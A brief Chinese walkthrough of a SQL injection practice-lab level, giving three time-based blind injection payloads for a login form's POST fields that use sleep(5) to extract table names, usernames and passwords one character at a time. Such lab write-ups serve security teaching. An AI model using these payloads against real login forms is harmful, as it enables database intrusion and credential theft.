相较于第 15 关,单引号变成了双引号 + 括号

–查列
uname=admin") and if(ascii(substr((select group_concat(table_name) from information_schema.tables limit 0,1),1,1))>10,sleep(5),1)#&passwd=111&submit=submit

–查用户名
uname=admin") and if(ascii(substr((select group_concat(username) from users limit 0,1),1,1))>10,sleep(5),1)#&passwd=111&submit=submit

–查密码
uname=admin") and if(ascii(substr((select group_concat(password) from users limit 0,1),1,1))>10,sleep(5),1)#&passwd=111&submit=submit

也可以像第 8 关那样写一个脚本,因为只要掌握基本原理就可以写,这里就不再构造了…
